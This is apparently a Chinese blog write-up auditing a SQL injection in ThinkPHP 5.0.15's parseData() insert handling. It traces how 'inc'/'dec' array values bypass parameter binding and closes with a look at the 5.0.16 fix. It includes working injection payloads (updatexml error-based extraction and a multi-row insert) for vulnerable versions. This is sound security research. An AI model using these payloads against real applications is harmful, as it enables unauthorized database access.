Thinkphp5.0.15 SQL注入

前言

刚把tp5的RCE给审的差不多了,审的很爽,接下来审一下thinkphp5各个版本的SQL注入。
在这里插入图片描述
这里先开始审parseData方法造成的SQL注入,然后接下来几篇文章按照这个顺序来依次审计。
代码不用说了,composer先下载下来。

composer create-project  topthink/think=5.0.15 thinkphp5.0.15

下载来的%99都是版本不对,改一下composer.json
在这里插入图片描述
然后composer update就可以了。
index控制器那里写一下insert语句:

class Index
{
    public function index()
    {
        $username = request()->get('username/a');//以数组的格式获取$_GET中的username变量,然后作为参数传入insert()
        db('users')->insert(['username' => $username,'password'=>'testpasswd']);
        return 'Update success';
    }
}

比较懒,数据库还是用sqli-labs的那个users库。
在application/database.php那里设置一下数据库:
在这里插入图片描述

开启 application/config.php 中的 app_debug 和 app_trace 。开启app_debug才可以看到报错注入的注入语句。
parseData()方法的注入,漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。

分析

这里涉及的是insert注入,一开始可能会不理解为什么$username的获取那里要get(‘username/a’),转为数组,而不是直接获取字符串,那先把/a给去掉,传?username=adb,直接获取字符串,来看一下这一路上的代码逻辑。
在这里插入图片描述
跟进insert()方法,parseExpress()方法执行后,产生了这样的$option在这里插入图片描述
相当于只是获得一下查询的表名称。再跟进$this->builder->insert,这个生成SQL语句的函数:
在这里插入图片描述
有问题的函数就是这个parseData,不过这里先不分析。这里不打断点继续执行,产生的$data是这样:
在这里插入图片描述
产生了预编译参数。然后这里产生关键的SQL语句,就相当于直接替换了,替换后的结果是这样。
在这里插入图片描述

INSERT INTO `users` (`username` , `password`) VALUES (:data__username , :data__password) 

继续跟进,进入execute执行函数:
在这里插入图片描述
在这里插入图片描述
关键的就是这几句代码,对$sql,那个SQL语句进行prepare,然后bindParam(),进行一下参数绑定,然后执行语句,最终相当于一开始预编译语句是这个,然后绑定参数进行执行。:

INSERT INTO `users` (`username` , `password`) VALUES (:data__username , :data__password) 
INSERT INTO `users` (`username` , `password`) VALUES ("abc" , "testpasswd") 

结果也很明显了,肯定没法进行SQL注入,因为最后用了预编译,即使之前的那个SQL语句的产生是直接的替换,也无法实现注入。

再来看一下那个出了问题的parseData()函数:

/**
 * 数据分析
 * @access protected
 * @param array     $data 数据
 * @param array     $options 查询参数
 * @return array
 * @throws Exception
 */
protected function parseData($data, $options)
{
    if (empty($data)) {
        return [];
    }

    // 获取绑定信息
    $bind = $this->query->getFieldsBind($options['table']);
    if ('*' == $options['field']) {
        $fields = array_keys($bind);
    } else {
        $fields = $options['field'];
    }

    $result = [];
    foreach ($data as $key => $val) {
        $item = $this->parseKey($key, $options);
        if (is_object($val) && method_exists($val, '__toString')) {
            // 对象数据写入
            $val = $val->__toString();
        }
        if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
            if ($options['strict']) {
                throw new Exception('fields not exists:[' . $key . ']');
            }
        } elseif (is_null($val)) {
            $result[$item] = 'NULL';
        } elseif (is_array($val) && !empty($val)) {
            switch ($val[0]) {
                case 'exp':
                    $result[$item] = $val[1];
                    break;
                case 'inc':
                    $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                    break;
                case 'dec':
                    $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
                    break;
            }
        } elseif (is_scalar($val)) {
            // 过滤非标量数据
            if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
                $result[$item] = $val;
            } else {
                $key = str_replace('.', '_', $key);
                $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
                $result[$item] = ':data__' . $key;
            }
        }
    }
    return $result;
}

产生预编译的那些是因为进入了这个if:

} elseif (is_scalar($val)) {
    // 过滤非标量数据
    if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
        $result[$item] = $val;
    } else {
        $key = str_replace('.', '_', $key);
        $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
        $result[$item] = ':data__' . $key;
    }
}

产生了:data_username:data_password的预处理。
但是如果$val是数组呢?get()方法那里改成username/a,会进入这个:

} elseif (is_array($val) && !empty($val)) {
    switch ($val[0]) {
        case 'exp':
            $result[$item] = $val[1];
            break;
        case 'inc':
            $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
            break;
        case 'dec':
            $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
            break;
    }
}

如果$val[0]是exp,inc,或者dec的话username的那一部分就不会产生预编译了,而是直接字符串,然后替换进入SQL语句中,不过exp不能用,因为
在这里插入图片描述
get方法会对exp进行过滤,使"exp"变成"exp "。跟进一下get,先获得$_GET,然后进入input:
在这里插入图片描述
再进入filterValue():
在这里插入图片描述
在filterValue方法中因为没用可回调的filter,所以最终调用这个:
在这里插入图片描述
进行了过滤,所以EXP不行。

public function filterExp(&$value)
{
    // 过滤查询特殊字符
    if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
    // TODO 其他安全过滤
}

但是inc和dec都可以。payload如下:

?username[0]=inc&username[1]=updatexml(1,concat(0x7e,database(),0x7e),1)&username[2]=1

产生的SQL语句是这样:

INSERT INTO `users` (`username` , `password`) VALUES (updatexml(1,concat(0x7e,database(),0x7e),1)+1 , :data__password) 

SQL语句并不是预编译,而是直接插入,实现了SQL注入。不过这只是报错注入,如果没开启报错,而且有回显的点的话,就可以这样:

?username[0]=inc&username[1]=database(),database()),("123"&username[2]=1

执行的SQL语句是这样:

INSERT INTO `users` (`username` , `password`) VALUES (database(),database()),("123"+1 , 'testpasswd')

放一下七月火师傅的总结图:
在这里插入图片描述

修复

去github上看一下thinkphp5.0.16的更新信息:
在这里插入图片描述
在这里插入图片描述
看一下这个改进的inc/dec查询:
在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值